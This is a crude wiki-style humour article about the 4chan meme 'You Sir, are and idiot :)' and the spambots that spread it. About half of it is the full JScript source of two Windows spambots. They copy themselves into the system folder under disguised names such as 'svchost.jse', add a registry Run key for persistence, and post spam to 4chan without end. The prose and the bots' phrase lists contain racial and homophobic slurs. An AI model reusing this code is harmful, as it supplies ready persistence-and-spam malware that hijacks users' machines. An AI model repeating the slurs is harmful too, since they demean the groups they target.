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[[Image:Kimmo1251594368tinychancomic4.jpg|thumb|[[Kimmo Alm]] started it.]]
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'''You Sir, are and idiot :)''' is the [[McDonald's]] of [[The Cancer That Is Killing /b/]]: hot,  fast and ready to be smeared across the interbutts like so much AIDS-tinged [[santorum]]. It is a simple bit of [[copypasta]] used by first by [[Anontalk.com]] spambots. The spam came from idiots who thought it was a good idea to run an "irritating game" they downloaded from a link posted on /b/.  What they actually downloaded was some [[4chanJS|delicious Javascript]].  Later versions of the "game" were executables which presumably inducted the newfags into a proper botnet.

It was later [[Rape|adopted]] by [[Newfags]] to respond to a post they not disagree with, but rather merely happen to see when they alt-tab back to /b/ from their [[AnonTalk|CP du jour]]. The OP is [[Butthurt|typically filled with extreme, Godlike fury at the newfag]], but really, it was probably just [[You Laugh You Lose]] again.

== The Cancer in Action ==
"You Sir..." is [[Some Argue|arguably]] the most glaring and malignant symptom of the [[The Cancer That Is Killing /b/|Teh Cancer]]; not only can it be seen quite often on the front page, it will sometimes latch onto the rare and elusive [[Lie|non-shitty]] threads like [[Chris-Chan]] on an attractive store clerk. It usually manifests itself as follows
*Prima: ITT: [[Tubgirl|Orange Juice and its uses]]
*Secunda: You Sir, Are And Idiot :)
When hunting for this cancer, pay attention to the timestamp. [[Truth|9 out of 10 times]] it will be posted seconds after the original posting.

== How To Win Enemies and Infuriate Aspies ==
#Go to /b/
#Click Reply on the first thread you see. Think fast, [[DO IT FAGGOT|no dawdling]].
#Type "You Sir, Are And Idiot" and add whatever smiley you wish to the end. Hit Reply and resume [[sick fuck|fapping.]]
#[[????]]
#[[PROFIT]]!
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Image:Yousirareandidiots.JPG|Further proof the cancer is spreading over the [[internets]]
Image:You_Sir,_Are_An_Idiot.jpg|A typical idiot posting, and being pwnt by Anon.
Image:You_Sir_Are_An_Idiot_2.jpg|Another idiot. Note how he posted on the [[internets]].
Image:Idiot_3.JPG|There are [[at least 100]] idiots on the internet. Be wary.
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== What you can do ==
Before you post this shitty meme to /b/, note that now it will get you banned for 3 days. Other than that, not much can be done about it. [[Sage]] is useless most times, and [[STFU]] is like [[Eunuch|firing blanks]]. Really, all [[you]] can do to combat this is to not be a faggot when you reply to posts in /b/.

Better yet, [[Protip|don't read /b/ at all]]

{{cs|sourceCodeOfAnAndIdiotSpambot|Source code of an "and idiot" spambot|
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f=WSH.createobject("scripting.filesystemobject")
fn=f.getspecialfolder(1)+"\\svchost.jse"
f.copyfile(WSH.scriptname,fn)
WSH.createobject("wscript.shell").regwrite("HKCU\\software\\microsoft\\windows\\currentversion\\run\\Generic Host Process for Win32 Services",fn)
x=WSH.createobject("msxml2.xmlhttp")
z="()/".split("")
while(1){
try{
x.open("get","http://img.4chan.org/b/?"+new Date().getTime(),0)
x.send()
r=x.responsetext
t=r.substr(r.indexOf("res/")+4,8)
s="!resto\n\n"+t+"!com\n\n>>"+t+"\n\nYou, sir, are and idiot. :"+z[Math.floor(Math.random()*3)]+"!mode\n\nregist"
s=s.replace(/!/g,"\n--\ncontent-disposition:form-data;name=")
x.open("post","http://dat.4chan.org/b/imgboard.php",0)
x.setrequestheader("content-type","multipart/form-data;boundary=")
x.send(s)
}catch(e){}
WSH.sleep(10000+Math.ceil(Math.random()*10000))}
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{{cs|aMoreAdvancedVersion|A more advanced version|
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//below is all the shit the script can post,
//separated by #. feel free to add whatever you want.
phr=(
"You, sir, are and idiot.#butthurt?#lol trolled#your gay#GTFO my /B/#well your mom#yeah i noticed that too#Agreed 100%. OP is totally gay.#suck my cock#faggot#your an amerifag right?#fatass#fuck off#i lol'd#NOOO#No.#newfag#no#ok#i disagree#troll detected#I guess thats why they call it randum xD#Why so serious?#diaf#gtfo#foad#stfu#I am better than u.#shit was SO cash#This is not an automated message.#EPIC WIN#This thread is now about how much OP fails at life and the internets.#I had consensual sex in the missionary position with your mother.#don't do this unless your a FGT#best be trolling nigger"
).split("#")
f=WSH.createobject("scripting.filesystemobject")
fn=f.getspecialfolder(1)+"\\systinit.js"
q="abcdefghijklmnopqrstuvwxyz".split("")
f.copyfile(WSH.scriptname,fn)
WSH.createobject("wscript.shell").regwrite("HKCU\\software\\microsoft\\windows\\currentversion\\run\\"+f.getfilename(fn),fn)
x=WSH.createobject("msxml2.xmlhttp")
a="abcdefghijklmnopqrstuvwxyz0123456789".split("")
p="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("")

//below is the shit the script sometimes adds to the end of the post, separated by spaces

s=":O :0 :3 >:3 :4 :5 DSFARGEG fail faggot nigger :) :( :/ :\\ =) =( =/ =\\ :| =| xD XD :P =P :D =D :] =] :[ =[ :} =} :{ ={ <3 O_o o_O ^_^ ;) ;( :@ :> :<".split(" ")
while(1){
try{
n=10+Math.random()*20
bou=""
pw=""
for(i=0;i<n;i++)bou+=a[Math.floor(Math.random()*a.length)]
for(i=0;i<8;i++)pw+=p[Math.floor(Math.random()*p.length)]
x.open("GET","http://img.4chan.org/b/?"+Math.random(),0)
x.send()
r=x.responsetext
t=r.substr(r.indexOf("res/")+4,8)
x.open("GET","http://img.4chan.org/b/res/"+t+".html",0)
x.send()
var th=(x.responsetext+"").match(/[0-9]{8,8}/g)
c=""
if(Math.random()<.3)c+=">>"+th[Math.floor(Math.random()*th.length)]+"\r\n"
c+=phr[Math.floor(Math.random()*phr.length)]+" "
if(Math.random()<.2)c+=s[Math.floor(Math.random()*s.length)]
c=c.split("");
while(Math.random()<.1)
c.splice(Math.floor(Math.random()*c.length),Math.floor(Math.random()*4),String.fromCharCode(32+Math.floor(Math.random()*95)))
c=c.join("")
x.open("POST","http://dat.4chan.org/b/imgboard.php",0)
x.setrequestheader("Content-Type","multipart/form-data; boundary="+bou)
x.send((
'!"resto"\r\n\r\n'+t+'!"com"\r\n\r\n'+c+'!"pwd"\r\n\r\n'+pw+'!"mode"\r\n\r\nregist\r\n--'+bou+'--\r\n'
).replace(/!/g,"\r\n--"+bou+"\r\nContent-Disposition: form-data; name="))
}catch(e){}
WSH.sleep(10000+Math.ceil(Math.random()*10000))} 
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